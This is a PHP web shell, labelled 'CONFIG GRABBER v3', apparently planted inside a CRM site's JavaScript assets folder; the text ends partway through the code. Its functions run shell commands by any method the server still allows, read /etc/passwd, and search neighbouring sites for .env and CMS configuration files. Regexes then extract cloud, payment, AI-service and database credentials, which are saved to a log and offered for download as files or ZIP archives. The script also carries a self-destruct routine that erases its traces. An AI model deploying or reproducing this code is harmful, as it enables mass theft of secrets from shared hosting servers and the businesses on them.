• File: ch3.php
  • Full Path: /var/www/crm_set/assets/js/ch3.php
  • Date Modified: 09/21/2026 4:19 AM
  • File size: 53.41 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
session_start();

// ================================================================
//  CONFIG GRABBER – v3 (Multi-site scan + sibling expansion)
// ================================================================
error_reporting(E_ALL);
ini_set('display_errors', 1);

// ----------------------- COMMAND EXECUTOR -----------------------
class CommandExecutor {
    public static function getAvailableMethods() {
        $disabled = array_map('trim', explode(',', ini_get('disable_functions')));
        $isWindows = (PHP_OS_FAMILY === 'Windows');
        $methods = [
            'proc_open'   => function_exists('proc_open') && !in_array('proc_open', $disabled),
            'shell_exec'  => function_exists('shell_exec') && !in_array('shell_exec', $disabled),
            'exec'        => function_exists('exec') && !in_array('exec', $disabled),
            'system'      => function_exists('system') && !in_array('system', $disabled),
            'passthru'    => function_exists('passthru') && !in_array('passthru', $disabled),
            'popen'       => function_exists('popen') && !in_array('popen', $disabled),
            'pcntl_exec'  => !$isWindows && function_exists('pcntl_exec') && !in_array('pcntl_exec', $disabled),
            'ffi'         => extension_loaded('ffi') && class_exists('FFI'),
            'expect'      => extension_loaded('expect') && function_exists('expect_popen') && !in_array('expect_popen', $disabled),
        ];
        return array_filter($methods);
    }
    public static function getBestMethod() {
        $available = self::getAvailableMethods();
        if (empty($available)) return null;
        $priority = ['proc_open', 'shell_exec', 'exec', 'system', 'passthru', 'popen', 'expect', 'ffi', 'pcntl_exec'];
        foreach ($priority as $method) {
            if (isset($available[$method]) && $available[$method]) return $method;
        }
        return array_key_first($available);
    }
    public static function run($cmd) {
        $method = self::getBestMethod();
        if (!$method) return false;
        switch ($method) {
            case 'proc_open':
                $desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                $p = proc_open($cmd, $desc, $pipes);
                if (!is_resource($p)) return false;
                $out = stream_get_contents($pipes[1]);
                fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
                proc_close($p);
                return $out;
            case 'shell_exec': return shell_exec($cmd);
            case 'exec':
                exec($cmd, $arr);
                return implode("\n", $arr);
            case 'system':
                ob_start(); system($cmd); return ob_get_clean();
            case 'passthru':
                ob_start(); passthru($cmd); return ob_get_clean();
            case 'popen':
                $h = popen($cmd, 'r');
                if (!$h) return false;
                $out = stream_get_contents($h);
                pclose($h);
                return $out;
            case 'expect':
                $h = expect_popen($cmd);
                if (!$h) return false;
                $out = stream_get_contents($h);
                fclose($h);
                return $out;
            case 'ffi':
                try {
                    $ffi = \FFI::cdef("int system(const char *command);", PHP_OS_FAMILY === 'Windows' ? 'msvcrt.dll' : 'libc.so.6');
                    ob_start(); $ffi->system($cmd); return ob_get_clean();
                } catch (\Throwable $e) { return false; }
            case 'pcntl_exec':
                return pcntl_exec('/bin/sh', ['-c', $cmd]);
            default: return false;
        }
    }
}

// ----------------------- BOBOT, KATEGORI, PATTERN -----------------------
$LABEL_WEIGHTS = [
    'AWS'=>1,'Twilio'=>2,'Stripe'=>3,'Google'=>4,'Azure'=>5,'DigitalOcean'=>6,
    'OpenAI'=>7,'Anthropic'=>8,'Grok'=>9,'Cohere'=>10,'HuggingFace'=>11,
    'SendGrid'=>12,'Mailjet'=>13,'SparkPost'=>14,'Postmark'=>15,'DB_PASS'=>16,
    'ENV'=>17,'WordPress'=>18,'Joomla'=>19,'Laravel'=>20,'Config'=>21,'API_KEY'=>22,
    'APP_DB_PASS_DEFINE'=>16,
    'APP_DB_CONFIG_DEFINE'=>21,
];
$CATEGORY_MAP = [
    'AWS'=>'Account','Twilio'=>'Account','Stripe'=>'Account','Google'=>'Account',
    'Azure'=>'Account','DigitalOcean'=>'Account','OpenAI'=>'AI','Anthropic'=>'AI',
    'Grok'=>'AI','Cohere'=>'AI','HuggingFace'=>'AI','SendGrid'=>'Email','Mailjet'=>'Email',
    'SparkPost'=>'Email','Postmark'=>'Email','DB_PASS'=>'Config','ENV'=>'Config',
    'WordPress'=>'Config','Joomla'=>'Config','Laravel'=>'Config','Config'=>'Config',
    'API_KEY'=>'Generic',
    'APP_DB_PASS_DEFINE'=>'Config',
    'APP_DB_CONFIG_DEFINE'=>'Config',
];
$CATEGORY_COLORS = [
    'Account' => '#ff6b6b',
    'AI'      => '#4ecdc4',
    'Email'   => '#ffe66d',
    'Config'  => '#95e1d3',
    'Generic' => '#aaaaaa',
];

$CREDENTIAL_PATTERNS = [
    'AWS'          => '/\b(AKIA[0-9A-Z]{16})\b/',
    'Twilio'       => '/\b((?:AC|SK)[a-f0-9]{32})\b/',
    'Stripe'       => '/\b((?:sk|pk)_live_[0-9a-zA-Z]{24})\b/',
    'Google'       => '/\b(AIza[0-9A-Za-z\-_]{35})\b/',
    'Azure'        => '/\b([a-f0-9]{32}:[a-f0-9]{32})\b/',
    'DigitalOcean' => '/\b(do_[a-zA-Z0-9]{64})\b/',
    'OpenAI'       => '/\b(sk-(?:proj-)?[a-zA-Z0-9_-]{48,})\b/',
    'Anthropic'    => '/\b(sk-ant-[a-zA-Z0-9\-_]{40,})\b/',
    'Grok'         => '/\b(xai-[a-zA-Z0-9]{32})\b/',
    'Cohere'       => '/\b(cohere_[a-zA-Z0-9]{40})\b/',
    'HuggingFace'  => '/\b(hf_[a-zA-Z0-9]{32})\b/',
    'SendGrid'     => '/\b(SG\.[a-zA-Z0-9_\-\.]{22}\.[a-zA-Z0-9_\-\.]{43})\b/',
    'Mailjet'      => '/\b([a-f0-9]{32}:[a-f0-9]{32})\b/',
    'SparkPost'    => '/SPARKPOST_(?:API_KEY|SECRET)\s*[:=,]\s*[\'"]?([a-f0-9]{64})[\'"]?/i',
    'Postmark'     => '/POSTMARK_(?:API_TOKEN|SERVER_TOKEN|SECRET)\s*[:=,]\s*[\'"]?([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})[\'"]?/i',
    'APP_DB_PASS_DEFINE'   => '/define\s*\(\s*[\'"]APP_DB_PASSWORD[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i',
    'APP_DB_CONFIG_DEFINE' => '/define\s*\(\s*[\'"]APP_DB_(?:HOSTNAME|USERNAME|NAME)[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i',
    'DB_PASS'      => '/(?:DB_PASSWORD|database_password|db_pass)\s*[:=,]\s*[\'"]?([^\'"]+)[\'"]?/i',
    'ENV'          => '/APP_ENV\s*[:=,]\s*[\'"]?([^\'"\s]+)[\'"]?/i',
    'Laravel'      => '/APP_KEY\s*[:=,]\s*(base64:[A-Za-z0-9+\/=]+)/i',
    'WordPress'    => '/define\s*\(\s*[\'"]DB_(?:NAME|USER|PASSWORD|HOST)[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i',
    'Joomla'       => '/\$db\s*=\s*JDatabaseDriver::getInstance\(|public\s+\$password\s*=\s*[\'"]([^\'"]+)[\'"]/i',
    'Config'       => '/(?:DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD)\s*[:=,]\s*[\'"]?([^\'"]+)[\'"]?/i',
    'API_KEY'      => '/(?:api_key|apikey|secret_key|app_secret)\s*[:=,]\s*[\'"]?([a-zA-Z0-9_\-\.]+)[\'"]?/i',
];

// ----------------------- EXTRACT DB CREDENTIALS -----------------------
function extractDbCredentials($content, $filepath) {
    $credentials = [
        'path' => $filepath,
        'type' => 'unknown',
        'db_host' => null,
        'db_user' => null,
        'db_pass' => null,
        'db_name' => null
    ];
    
    // Skip .env.example, .env.dist, .env.sample (template files)
    $basename = basename($filepath);
    if (preg_match('/\.env\.(example|dist|sample|backup|bak)$/i', $basename)) {
        return $credentials;
    }
    
    // Remove commented lines for .env parsing
    $contentClean = preg_replace('/^#.*$/m', '', $content);
    $contentClean = preg_replace('/^\s*\/\/.*$/m', '', $contentClean);
    
    // WordPress: define('DB_NAME', 'value');
    if (preg_match('/define\s*\(\s*[\'"]DB_NAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_name'] = $m[1];
        $credentials['type'] = 'WordPress';
    }
    if (preg_match('/define\s*\(\s*[\'"]DB_USER[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_user'] = $m[1];
        $credentials['type'] = 'WordPress';
    }
    if (preg_match('/define\s*\(\s*[\'"]DB_PASSWORD[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_pass'] = $m[1];
        $credentials['type'] = 'WordPress';
    }
    if (preg_match('/define\s*\(\s*[\'"]DB_HOST[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_host'] = $m[1];
        $credentials['type'] = 'WordPress';
    }
    
    // Laravel .env: DB_PASSWORD=value (handle quotes and special chars)
    if (empty($credentials['db_host']) && preg_match('/^DB_HOST\s*=\s*["\']?([^"\'\n]+)["\']?/m', $contentClean, $m)) {
        $val = trim($m[1]);
        if (strpos($val, 'DB_') === false && strpos($val, 'APP_') === false) {
            $credentials['db_host'] = $val;
            $credentials['type'] = 'Laravel';
        }
    }
    if (empty($credentials['db_user']) && preg_match('/^DB_USERNAME\s*=\s*["\']?([^"\'\n]+)["\']?/m', $contentClean, $m)) {
        $val = trim($m[1]);
        if (strpos($val, 'DB_') === false && strpos($val, 'APP_') === false) {
            $credentials['db_user'] = $val;
            $credentials['type'] = 'Laravel';
        }
    }
    if (empty($credentials['db_user']) && preg_match('/^DB_USER\s*=\s*["\']?([^"\'\n]+)["\']?/m', $contentClean, $m)) {
        $val = trim($m[1]);
        if (strpos($val, 'DB_') === false && strpos($val, 'APP_') === false) {
            $credentials['db_user'] = $val;
            $credentials['type'] = 'Laravel';
        }
    }
    if (empty($credentials['db_pass']) && preg_match('/^DB_PASSWORD\s*=\s*"([^"]+)"/m', $contentClean, $m)) {
        $credentials['db_pass'] = $m[1];
        $credentials['type'] = 'Laravel';
    }
    if (empty($credentials['db_pass']) && preg_match("/^DB_PASSWORD\s*=\s*'([^']+)'/m", $contentClean, $m)) {
        $credentials['db_pass'] = $m[1];
        $credentials['type'] = 'Laravel';
    }
    if (empty($credentials['db_pass']) && preg_match('/^DB_PASSWORD\s*=\s*([^\s\n].*?)(?:\s*$|\s+\n)/m', $contentClean, $m)) {
        $val = trim($m[1]);
        if (!empty($val) && substr($val, 0, 1) !== '"' && substr($val, 0, 1) !== "'") {
            if (strpos($val, 'DB_') === false && strpos($val, 'APP_') === false && strpos($val, 'SESSION_') === false) {
                $credentials['db_pass'] = $val;
                $credentials['type'] = 'Laravel';
            }
        }
    }
    if (empty($credentials['db_name']) && preg_match('/^DB_DATABASE\s*=\s*["\']?([^"\'\n]+)["\']?/m', $contentClean, $m)) {
        $val = trim($m[1]);
        if (strpos($val, 'DB_') === false && strpos($val, 'APP_') === false) {
            $credentials['db_name'] = $val;
            $credentials['type'] = 'Laravel';
        }
    }
    
    // Joomla: public $db = '...';
    if (empty($credentials['db_host']) && preg_match('/public\s+\$host\s*=\s*[\'"]([^\'"]+)[\'"];/i', $content, $m)) {
        $credentials['db_host'] = $m[1];
        $credentials['type'] = 'Joomla';
    }
    if (empty($credentials['db_user']) && preg_match('/public\s+\$user\s*=\s*[\'"]([^\'"]+)[\'"];/i', $content, $m)) {
        $credentials['db_user'] = $m[1];
        $credentials['type'] = 'Joomla';
    }
    if (empty($credentials['db_pass']) && preg_match('/public\s+\$password\s*=\s*[\'"]([^\'"]+)[\'"];/i', $content, $m)) {
        $credentials['db_pass'] = $m[1];
        $credentials['type'] = 'Joomla';
    }
    if (empty($credentials['db_name']) && preg_match('/public\s+\$db\s*=\s*[\'"]([^\'"]+)[\'"];/i', $content, $m)) {
        $credentials['db_name'] = $m[1];
        $credentials['type'] = 'Joomla';
    }
    
    // Generic: database.php, config.php, app-config.php
    if (empty($credentials['db_host']) && preg_match('/(?:db_host|DB_HOST|database_host)\s*[=:]\s*["\']?([^"\'\n,;]+)["\']?/i', $content, $m)) {
        $credentials['db_host'] = trim($m[1]);
        if ($credentials['type'] === 'unknown') $credentials['type'] = 'Generic';
    }
    if (empty($credentials['db_user']) && preg_match('/(?:db_user|DB_USER|database_user|db_username|DB_USERNAME)\s*[=:]\s*["\']?([^"\'\n,;]+)["\']?/i', $content, $m)) {
        $credentials['db_user'] = trim($m[1]);
        if ($credentials['type'] === 'unknown') $credentials['type'] = 'Generic';
    }
    if (empty($credentials['db_pass']) && preg_match('/(?:db_pass|DB_PASS|database_password|db_password)\s*[=:]\s*["\']?([^"\'\n,;]+)["\']?/i', $content, $m)) {
        $credentials['db_pass'] = trim($m[1]);
        if ($credentials['type'] === 'unknown') $credentials['type'] = 'Generic';
    }
    if (empty($credentials['db_name']) && preg_match('/(?:db_name|DB_NAME|database_name|db_database)\s*[=:]\s*["\']?([^"\'\n,;]+)["\']?/i', $content, $m)) {
        $credentials['db_name'] = trim($m[1]);
        if ($credentials['type'] === 'unknown') $credentials['type'] = 'Generic';
    }
    
    // app-config.php: define('APP_DB_*', 'value');
    if (preg_match('/define\s*\(\s*[\'"]APP_DB_HOSTNAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_host'] = $m[1];
        $credentials['type'] = 'app-config';
    }
    if (preg_match('/define\s*\(\s*[\'"]APP_DB_USERNAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_user'] = $m[1];
        $credentials['type'] = 'app-config';
    }
    if (preg_match('/define\s*\(\s*[\'"]APP_DB_PASSWORD[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_pass'] = $m[1];
        $credentials['type'] = 'app-config';
    }
    if (preg_match('/define\s*\(\s*[\'"]APP_DB_NAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)/i', $content, $m)) {
        $credentials['db_name'] = $m[1];
        $credentials['type'] = 'app-config';
    }
    
    if ($credentials['db_user'] || $credentials['db_pass'] || $credentials['db_name'] || $credentials['db_host']) {
        return $credentials;
    }
    return null;
}

function saveDbCredentialsToLog($credentials) {
    $cacheDir = __DIR__ . '/cache';
    if (!is_dir($cacheDir)) mkdir($cacheDir, 0755, true);
    
    $logFile = $cacheDir . '/logindb.json';
    $existing = [];
    if (file_exists($logFile)) {
        $existing = json_decode(file_get_contents($logFile), true);
        if (!is_array($existing)) $existing = [];
    }
    
    $pathExists = false;
    foreach ($existing as $entry) {
        if (isset($entry['path']) && $entry['path'] === $credentials['path']) {
            $pathExists = true;
            break;
        }
    }
    
    if (!$pathExists) {
        $existing[] = $credentials;
        file_put_contents($logFile, json_encode($existing, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE));
        return true;
    }
    return false;
}

// ----------------------- FUNGSI -----------------------
function getFileContent($filepath) {
    $cacheDir = __DIR__ . '/cache';
    if (!is_dir($cacheDir)) mkdir($cacheDir, 0755, true);
    $cacheFile = $cacheDir . '/' . md5($filepath) . '.txt';
    if (file_exists($cacheFile) && is_readable($cacheFile)) {
        return file_get_contents($cacheFile);
    }
    $cmd = 'cat ' . escapeshellarg($filepath) . ' 2>&1';
    $output = CommandExecutor::run($cmd);
    if ($output !== false && $output !== '') {
        file_put_contents($cacheFile, $output);
        return $output;
    }
    $content = @file_get_contents($filepath);
    if ($content !== false) {
        file_put_contents($cacheFile, $content);
        return $content;
    }
    return false;
}

function getCredentialLabels($content, $filename) {
    global $CREDENTIAL_PATTERNS, $CATEGORY_MAP;
    $found = [];
    foreach ($CREDENTIAL_PATTERNS as $label => $pattern) {
        if (preg_match($pattern, $content)) {
            if ($filename === 'database.php' && ($label === 'Config' || $label === 'DB_PASS')) {
                continue;
            }
            $found[] = $label;
        }
    }
    return array_unique($found);
}

function getPriorityLevel($labels) {
    global $CATEGORY_MAP;
    $hasAccount = $hasAI = $hasEmail = $hasDB = false;
    foreach ($labels as $label) {
        $cat = isset($CATEGORY_MAP[$label]) ? $CATEGORY_MAP[$label] : 'Generic';
        if ($cat == 'Account') $hasAccount = true;
        elseif ($cat == 'AI') $hasAI = true;
        elseif ($cat == 'Email') $hasEmail = true;
        elseif ($label == 'DB_PASS') $hasDB = true;
    }
    if ($hasAccount) return 4;
    if ($hasAI) return 3;
    if ($hasEmail) return 2;
    if ($hasDB) return 1;
    return 0;
}

function getHighestPriorityLabels($labels) {
    global $CATEGORY_MAP;
    $levels = [];
    foreach ($labels as $label) {
        $cat = isset($CATEGORY_MAP[$label]) ? $CATEGORY_MAP[$label] : 'Generic';
        $level = 0;
        if ($cat == 'Account') $level = 4;
        elseif ($cat == 'AI') $level = 3;
        elseif ($cat == 'Email') $level = 2;
        elseif ($label == 'DB_PASS') $level = 1;
        $levels[$label] = $level;
    }
    if (empty($levels)) return [];
    $maxLevel = max($levels);
    $result = [];
    foreach ($levels as $label => $level) {
        if ($level == $maxLevel) $result[] = $label;
    }
    return $result;
}

function highlightContent($content, $labels) {
    global $CREDENTIAL_PATTERNS, $CATEGORY_MAP;
    if (empty($labels) || empty($content)) return htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

    $highlightLabels = getHighestPriorityLabels($labels);
    if (empty($highlightLabels)) return htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

    $highlightStyles = [
        'Account' => 'background:#2d1b1b; color:#ff6b6b; border-left:3px solid #ff6b6b; padding:0 4px;',
        'AI'      => 'background:#1b2d2b; color:#4ecdc4; border-left:3px solid #4ecdc4; padding:0 4px;',
        'Email'   => 'background:#2d2b1b; color:#ffe66d; border-left:3px solid #ffe66d; padding:0 4px;',
        'Config'  => 'background:#1b2d2a; color:#95e1d3; border-left:3px solid #95e1d3; padding:0 4px;',
        'Generic' => 'background:#222; color:#aaa; border-left:3px solid #666; padding:0 4px;',
    ];

    $escaped = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
    $lines = explode("\n", $escaped);

    foreach ($lines as $i => $line) {
        foreach ($highlightLabels as $label) {
            if (!isset($CREDENTIAL_PATTERNS[$label])) continue;
            $pattern = $CREDENTIAL_PATTERNS[$label];
            $cat = isset($CATEGORY_MAP[$label]) ? $CATEGORY_MAP[$label] : 'Generic';
            $style = isset($highlightStyles[$cat]) ? $highlightStyles[$cat] : $highlightStyles['Generic'];
            if (preg_match_all($pattern, $line, $matches, PREG_OFFSET_CAPTURE)) {
                $replacements = [];
                foreach ($matches[0] as $match) {
                    $replacements[] = [
                        'offset' => $match[1],
                        'length' => strlen($match[0]),
                        'html'   => '<span style="' . $style . '">' . $match[0] . '</span>'
                    ];
                }
                usort($replacements, function($a, $b) { return $b['offset'] - $a['offset']; });
                foreach ($replacements as $r) {
                    $line = substr($line, 0, $r['offset']) . $r['html'] . substr($line, $r['offset'] + $r['length']);
                }
            }
        }
        $lines[$i] = $line;
    }
    return implode("\n", $lines);
}

// ----------------------- FALLBACK SCANDIR -----------------------
function getUsersFromPasswd() {
    $content = @file_get_contents('/etc/passwd');
    if (!$content) return [];
    $users = [];
    foreach (explode("\n", $content) as $line) {
        if (empty($line)) continue;
        $parts = explode(':', $line);
        if (count($parts) >= 6) {
            $home = $parts[5];
            if (strpos($home, '/home/') === 0) $users[] = basename($home);
        }
    }
    return array_unique($users);
}
function scanDirFallback($baseDirs, $patterns, $depth) {
    $found = [];
    $patternRegex = '/(' . implode('|', array_map('preg_quote', $patterns)) . ')$/i';
    foreach ($baseDirs as $base) {
        if (strpos($base, '*') !== false) {
            $globbed = glob($base, GLOB_ONLYDIR | GLOB_NOSORT);
            foreach ($globbed as $g) $found = array_merge($found, scanDirRecursive($g, $patternRegex, $depth));
        } else {
            if (is_dir($base)) $found = array_merge($found, scanDirRecursive($base, $patternRegex, $depth));
        }
    }
    return $found;
}
function scanDirRecursive($dir, $patternRegex, $maxDepth, $currentDepth = 0) {
    $found = [];
    if ($currentDepth > $maxDepth) return $found;
    if (!is_readable($dir)) return $found;
    $items = @scandir($dir);
    if ($items === false) return $found;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $dir . '/' . $item;
        if (is_dir($full)) {
            $found = array_merge($found, scanDirRecursive($full, $patternRegex, $maxDepth, $currentDepth + 1));
        } elseif (is_file($full) && preg_match($patternRegex, $item)) {
            $found[] = $full;
        }
    }
    return $found;
}

// ----------------------- EXPAND BASE PATHS (SCAN SIBLING SITES) -----------------------
function expandBasePaths($scriptDir) {
    $scriptPath = realpath($scriptDir);
    $parts = explode('/', trim($scriptPath, '/'));
    $bases = [];
    
    $commonPatterns = [
        '/home' => 1,
        '/home2' => 1,
        '/var/www' => 0,
        '/var/www/vhosts' => 1,
        '/home/sites' => 2,
        '/srv/www' => 0,
        '/www/wwwroot' => 1,
    ];
    
    $detectedPrefix = null;
    $siteDepth = 0;
    
    foreach ($commonPatterns as $prefix => $depth) {
        $prefixParts = explode('/', trim($prefix, '/'));
        $match = true;
        for ($i = 0; $i < count($prefixParts) && $i < count($parts); $i++) {
            if ($parts[$i] !== $prefixParts[$i]) {
                $match = false;
                break;
            }
        }
        if ($match) {
            $detectedPrefix = $prefix;
            $siteDepth = $depth;
            break;
        }
    }
    
    if ($detectedPrefix) {
        $prefixParts = explode('/', trim($detectedPrefix, '/'));
        $baseLevel = count($prefixParts) + $siteDepth;
        
        if ($baseLevel < count($parts)) {
            $siteDir = '/' . implode('/', array_slice($parts, 0, $baseLevel));
            $bases[] = $siteDir . '/*';
        }
    }
    
    $parent = dirname($scriptPath);
    for ($i = 0; $i < 5 && $parent !== '/' && $parent !== false; $i++) {
        $bases[] = $parent;
        $parent = dirname($parent);
    }
    
    $bases[] = '/home/*/public_html';
    $bases[] = '/home2/*/public_html';
    $bases[] = '/var/www/html';
    $bases[] = '/var/www/vhosts/*/httpdocs';
    $bases[] = '/www/wwwroot/*';
    
    // Direct find command tanpa glob (untuk server dengan open_basedir restriction)
    $bases[] = '/www/wwwroot';
    $bases[] = '/var/www';
    $bases[] = '/home';
    $bases[] = '/home2';
    
    return array_unique($bases);
}

// ----------------------- SELF DESTRUCT (RELIABLE) -----------------------
if (isset($_GET['selfdestruct']) && $_GET['selfdestruct'] == 1) {
    $cacheDir = __DIR__ . '/cache';
    if (is_dir($cacheDir)) {
        foreach (glob($cacheDir . '/*') as $f) if (is_file($f)) unlink($f);
        rmdir($cacheDir);
    }
    session_destroy();
    header('Content-Type: text/html; charset=utf-8');
    echo '<!DOCTYPE html><html><head><title>Self Destruct</title>
    <style>body{background:#121212;color:#00ff41;font-family:monospace;padding:40px;text-align:center;}
    h1{color:#ff4444;}p{color:#aaa;}</style></head>
    <body><h1>Self Destruct Complete</h1>
    <p>Cache and session removed. Script will delete itself now.</p>
    <script>setTimeout(function(){document.body.innerHTML="";},2000);</script>
    </body></html>';
    flush();
    ignore_user_abort(true);
    register_shutdown_function(function() {
        $script = __FILE__;
        if (file_exists($script)) {
            sleep(1);
            @unlink($script);
        }
    });
    exit;
}

// ----------------------- SCAN PROSES (POST) -----------------------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
    $baseInput = isset($_POST['base']) ? trim($_POST['base']) : '';
    $depth     = isset($_POST['depth']) ? intval($_POST['depth']) : 8;
    $extra     = isset($_POST['extra']) ? trim($_POST['extra']) : '';

    $patterns = [
        '.env', '.env.local', '.env.backup', '.env.example',
        'wp-config.php', 'configuration.php', 'config.php',
        'app-config.php', 'settings.php', 'local.xml',
        'parameters.yml', 'database.php', 'config.inc.php'
    ];
    if (!empty($extra)) {
        $extraPatterns = array_filter(array_map('trim', explode(',', $extra)));
        $patterns = array_merge($patterns, $extraPatterns);
    }

    $baseDirs = [];
    $isCustom = false;
    
    if (!empty($baseInput)) {
        $baseDirs = [$baseInput];
        $isCustom = true;
    } else {
        $baseDirs = expandBasePaths(__DIR__);
        $isCustom = false;
    }

    $filePaths = [];
    $methodUsed = '';
    $allFindCmds = [];
    
    // PRIORITY: Use find command directly (bypass glob restrictions)
    foreach ($baseDirs as $baseDir) {
        $findCmd = 'find ' . escapeshellarg($baseDir) . ' -maxdepth ' . $depth . ' \\( ';
        $patternParts = [];
        foreach ($patterns as $p) $patternParts[] = '-name ' . escapeshellarg($p);
        $findCmd .= implode(' -o ', $patternParts);
        $findCmd .= ' \\) -type f 2>/dev/null';

        $res = CommandExecutor::run($findCmd);
        $allFindCmds[] = $findCmd;
        
        if ($res !== false && trim($res) !== '') {
            $methodUsed = CommandExecutor::getBestMethod() ?: 'command';
            $found = array_filter(explode("\n", trim($res)));
            $filePaths = array_merge($filePaths, $found);
        }
    }
    
    $filePaths = array_unique($filePaths);
    
    // FALLBACK: Only use scandir if command execution failed completely
    if (empty($filePaths)) {
        $fallbackDirs = [];
        foreach ($baseDirs as $dir) {
            if (strpos($dir, '*') !== false) {
                $globbed = glob($dir, GLOB_ONLYDIR | GLOB_NOSORT);
                if ($globbed) $fallbackDirs = array_merge($fallbackDirs, $globbed);
            } else {
                if (is_dir($dir)) $fallbackDirs[] = $dir;
            }
        }
        if (!empty($fallbackDirs)) {
            $scandirResults = scanDirFallback($fallbackDirs, $patterns, $depth);
            if (!empty($scandirResults)) {
                $filePaths = array_unique($scandirResults);
                $methodUsed = 'scandir';
            }
        }
    }

    $filesWithLabels = [];
    $dbCredentials = [];
    foreach ($filePaths as $file) {
        $content = getFileContent($file);
        if ($content !== false) {
            $filename = basename($file);
            $labels = getCredentialLabels($content, $filename);
            
            $dbCreds = extractDbCredentials($content, $file);
            if ($dbCreds !== null) {
                $dbCredentials[] = $dbCreds;
                saveDbCredentialsToLog($dbCreds);
            }
            
            if (!empty($labels)) {
                $grouped = [];
                $totalWeight = 0;
                foreach ($labels as $label) {
                    $cat = isset($CATEGORY_MAP[$label]) ? $CATEGORY_MAP[$label] : 'Generic';
                    if (!isset($grouped[$cat])) $grouped[$cat] = [];
                    $grouped[$cat][] = $label;
                    $totalWeight += isset($LABEL_WEIGHTS[$label]) ? $LABEL_WEIGHTS[$label] : 999;
                }
                $labelStr = '';
                $order = ['Account', 'AI', 'Email', 'Config', 'Generic'];
                foreach ($order as $cat) {
                    if (isset($grouped[$cat]) && !empty($grouped[$cat])) {
                        $labelStr .= $cat . ': ' . implode(', ', $grouped[$cat]) . ' | ';
                    }
                }
                $labelStr = rtrim($labelStr, ' | ');
                $filesWithLabels[] = [
                    'path' => $file,
                    'labels' => $labels,
                    'labelStr' => $labelStr,
                    'totalWeight' => $totalWeight,
                    'grouped' => $grouped,
                    'level' => getPriorityLevel($labels),
                    'labelCount' => count($labels),
                ];
            }
        }
    }

    usort($filesWithLabels, function($a, $b) {
        if ($a['level'] != $b['level']) return $b['level'] - $a['level'];
        if ($a['labelCount'] != $b['labelCount']) return $b['labelCount'] - $a['labelCount'];
        return $a['totalWeight'] - $b['totalWeight'];
    });

    $_SESSION['scan_results'] = [
        'filesWithLabels' => $filesWithLabels,
        'methodUsed' => $methodUsed,
        'total' => count($filesWithLabels),
        'baseDirs' => $baseDirs,
        'findCommands' => $allFindCmds,
        'dbCredentials' => $dbCredentials
    ];
    header('Location: ' . $_SERVER['SCRIPT_NAME']);
    exit;
}

// ----------------------- RESCAN -----------------------
if (isset($_GET['rescan']) && $_GET['rescan'] == 1) {
    unset($_SESSION['scan_results']);
    $cacheDir = __DIR__ . '/cache';
    if (is_dir($cacheDir)) { foreach (glob($cacheDir . '/*') as $f) if (is_file($f)) unlink($f); }
    header('Location: ' . $_SERVER['SCRIPT_NAME']);
    exit;
}

// ----------------------- DOWNLOAD -----------------------
if (isset($_GET['download'])) {
    $scanData = isset($_SESSION['scan_results']) ? $_SESSION['scan_results'] : null;
    if (!$scanData) die('No data.');
    
    if ($_GET['download'] === 'logindb') {
        $logFile = __DIR__ . '/cache/logindb.json';
        if (file_exists($logFile)) {
            header('Content-Type: application/json');
            header('Content-Disposition: attachment; filename="logindb.json"');
            echo file_get_contents($logFile);
            exit;
        }
        die('No logindb.json found.');
    }
    
    $files = $scanData['filesWithLabels'];
    if ($_GET['download'] === 'selected' && isset($_GET['file'])) {
        $file = base64_decode($_GET['file']);
        if ($file && !empty($file)) {
            $content = getFileContent($file);
            if ($content !== false && $content !== '') {
                header('Content-Type: text/plain');
                header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                echo $content;
                exit;
            }
        }
        die('File not found or not readable.');
    }
    if ($_GET['download'] === 'all' || $_GET['download'] === 'category') {
        if (!class_exists('ZipArchive')) die('ZipArchive not available.');
        $zip = new ZipArchive();
        $zipName = 'config_files_' . date('Ymd_His') . '.zip';
        $zipPath = sys_get_temp_dir() . '/' . $zipName;
        if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) die('Cannot create zip.');
        $category = isset($_GET['cat']) ? $_GET['cat'] : null;
        foreach ($files as $item) {
            if ($_GET['download'] === 'category' && $category) {
                $has = false;
                foreach ($item['grouped'] as $cat => $labels) { if ($cat === $category) { $has = true; break; } }
                if (!$has) continue;
            }
            $content = getFileContent($item['path']);
            if ($content !== false) {
                $zipPathName = basename(dirname($item['path'])) . '_' . basename($item['path']);
                $zip->addFromString($zipPathName, $content);
            }
        }
        $zip->close();
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipName . '"');
        header('Content-Length: ' . filesize($zipPath));
        readfile($zipPath);
        unlink($zipPath);
        exit;
    }
}

// ----------------------- VIEW MODAL (AJAX) -----------------------
if (isset($_GET['view'])) {
    $scanData = isset($_SESSION['scan_results']) ? $_SESSION['scan_results'] : null;
    $fileB64 = $_GET['view'];
